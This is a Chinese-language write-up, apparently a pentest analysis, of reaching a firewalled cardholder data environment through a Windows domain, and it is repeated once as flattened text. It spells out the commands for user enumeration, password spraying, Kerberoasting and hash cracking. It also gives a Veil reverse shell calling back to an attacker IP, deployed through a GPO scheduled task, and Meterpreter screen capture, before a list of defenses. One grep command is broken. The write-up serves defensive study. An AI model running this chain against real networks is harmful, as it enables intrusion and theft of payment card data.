Gaining Access to Card Data Using the Windows Domain to Bypass Firewalls
字数 1480 2025-08-22 12:22:36

利用Windows域绕过防火墙获取信用卡数据的技术分析

1. 背景与目标

本文详细介绍了攻击者如何通过Windows域环境绕过防火墙限制,获取持卡人数据环境(CDE)的访问权限并提取信用卡数据的技术方法。该技术利用了活动目录(Active Directory)的多个安全弱点,包括Kerberos认证漏洞和组策略管理缺陷。

2. 技术原理

2.1 PCI-DSS网络分段

  • 信用卡数据存储、传输或处理时需要确保网络安全
  • 通常通过防火墙划分单独网段(如192.168.0.0/16)处理持卡人数据
  • 与公司主网络(如10.0.0.0/8)隔离以缩小PCI合规范围

2.2 初始侦察

  1. 网络扫描

    • 对CDE网段进行ping扫描和端口扫描
    • 使用nmap命令:nmap -Pn 192.168.0.0/16
    • 直接访问通常被防火墙阻断
  2. 攻击路径选择

    • 通过域控制器作为跳板
    • 首先获取域管理员权限

3. 获取域管理员权限

3.1 用户枚举

  1. 利用空会话漏洞

    • 使用enum4linux枚举域用户:
      enum4linux -R 1000-50000 10.0.12.100 | tee enum4linux.txt
      
  2. 解析用户列表

    cat enum4linux.txt | grep '(Local User)' | awk '$2 ~ /MACFARLANE\\/ {print $2}' | grep -vP '^ | sed 's/MACFARLANE\\//g'
    

3.2 密码猜测

  1. 使用CrackMapExec测试弱密码
    cme smb 10.0.12.100 -u users.txt -p Password1
    
    • 测试常见弱密码如"Password1"
    • 使用-continue-on-success标志继续测试其他账户

3.3 Kerberoasting攻击

  1. 获取服务票据

    GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
    
  2. 破解服务账户密码

    hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
    
    • 使用hashcat破解加密的服务票据
    • 成功获取高权限服务账户凭证
  3. 验证域管理员权限

    cme smb 10.0.12.100 -u redrum -p 'murder1!'
    

4. 渗透CDE环境

4.1 利用组策略对象(GPO)

  1. 生成恶意payload

    • 使用Veil Evasion生成反向shell:
      veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell
      
  2. RDP登录域控制器

    • 使用获取的域管理员凭证
  3. 定位CDE相关OU

    • 在Active Directory Users and Computers中查找呼叫中心相关组织单元(OU)
  4. 部署payload

    • 将payload放入共享文件夹
    • 设置所有域用户可读权限
  5. 创建即时计划任务

    • 在GPO中创建"Immediate Scheduled Task"
    • 指向共享中的payload
    • 设置"Run in logged-on user's security context"

4.2 获取信用卡数据

  1. 等待策略生效

    • 通常需要15-90分钟自动应用
    • 实验室中可使用gpupdate /force强制更新
  2. 接收反向连接

    • 多台CDE内主机连接回攻击者机器
    • 获取60-100个Meterpreter shell
  3. 数据捕获技术

    • 使用autorunscript自动捕获屏幕截图
    • 使用Meterpreter的espia模块
    • 使用Metasploit的post/windows/gather/screen_spy

5. 防御措施

5.1 架构层面

  1. 域隔离
    • CDE应使用完全独立的活动目录域
    • 即使在同一森林中也存在风险

5.2 账户安全

  1. 密码策略
    • 禁用空会话
    • 强制使用强密码策略
    • 服务账户密码至少20个随机字符

5.3 监控与检测

  1. 异常行为检测

    • 监控大量服务票据请求
    • 设置蜜罐服务账户用于检测Kerberoasting尝试
  2. GPO变更监控

    • 审计所有GPO修改
    • 特别关注即时计划任务的创建

5.4 网络控制

  1. 出站连接限制
    • CDE环境应严格限制出站连接
    • 仅允许必要的网络通信

6. 总结

本攻击链展示了如何通过Windows域环境中的多个弱点逐步渗透隔离的CDE网络,强调了即使有防火墙隔离,域信任关系也可能成为攻击路径。防御需要多层措施,包括架构隔离、强认证和持续监控。

利用Windows域绕过防火墙获取信用卡数据的技术分析 1. 背景与目标 本文详细介绍了攻击者如何通过Windows域环境绕过防火墙限制,获取持卡人数据环境(CDE)的访问权限并提取信用卡数据的技术方法。该技术利用了活动目录(Active Directory)的多个安全弱点,包括Kerberos认证漏洞和组策略管理缺陷。 2. 技术原理 2.1 PCI-DSS网络分段 信用卡数据存储、传输或处理时需要确保网络安全 通常通过防火墙划分单独网段(如192.168.0.0/16)处理持卡人数据 与公司主网络(如10.0.0.0/8)隔离以缩小PCI合规范围 2.2 初始侦察 网络扫描 : 对CDE网段进行ping扫描和端口扫描 使用nmap命令: nmap -Pn 192.168.0.0/16 直接访问通常被防火墙阻断 攻击路径选择 : 通过域控制器作为跳板 首先获取域管理员权限 3. 获取域管理员权限 3.1 用户枚举 利用空会话漏洞 : 使用enum4linux枚举域用户: 解析用户列表 : 3.2 密码猜测 使用CrackMapExec测试弱密码 : 测试常见弱密码如"Password1" 使用 -continue-on-success 标志继续测试其他账户 3.3 Kerberoasting攻击 获取服务票据 : 破解服务账户密码 : 使用hashcat破解加密的服务票据 成功获取高权限服务账户凭证 验证域管理员权限 : 4. 渗透CDE环境 4.1 利用组策略对象(GPO) 生成恶意payload : 使用Veil Evasion生成反向shell: RDP登录域控制器 : 使用获取的域管理员凭证 定位CDE相关OU : 在Active Directory Users and Computers中查找呼叫中心相关组织单元(OU) 部署payload : 将payload放入共享文件夹 设置所有域用户可读权限 创建即时计划任务 : 在GPO中创建"Immediate Scheduled Task" 指向共享中的payload 设置"Run in logged-on user's security context" 4.2 获取信用卡数据 等待策略生效 : 通常需要15-90分钟自动应用 实验室中可使用 gpupdate /force 强制更新 接收反向连接 : 多台CDE内主机连接回攻击者机器 获取60-100个Meterpreter shell 数据捕获技术 : 使用autorunscript自动捕获屏幕截图 使用Meterpreter的espia模块 使用Metasploit的post/windows/gather/screen_ spy 5. 防御措施 5.1 架构层面 域隔离 : CDE应使用完全独立的活动目录域 即使在同一森林中也存在风险 5.2 账户安全 密码策略 : 禁用空会话 强制使用强密码策略 服务账户密码至少20个随机字符 5.3 监控与检测 异常行为检测 : 监控大量服务票据请求 设置蜜罐服务账户用于检测Kerberoasting尝试 GPO变更监控 : 审计所有GPO修改 特别关注即时计划任务的创建 5.4 网络控制 出站连接限制 : CDE环境应严格限制出站连接 仅允许必要的网络通信 6. 总结 本攻击链展示了如何通过Windows域环境中的多个弱点逐步渗透隔离的CDE网络,强调了即使有防火墙隔离,域信任关系也可能成为攻击路径。防御需要多层措施,包括架构隔离、强认证和持续监控。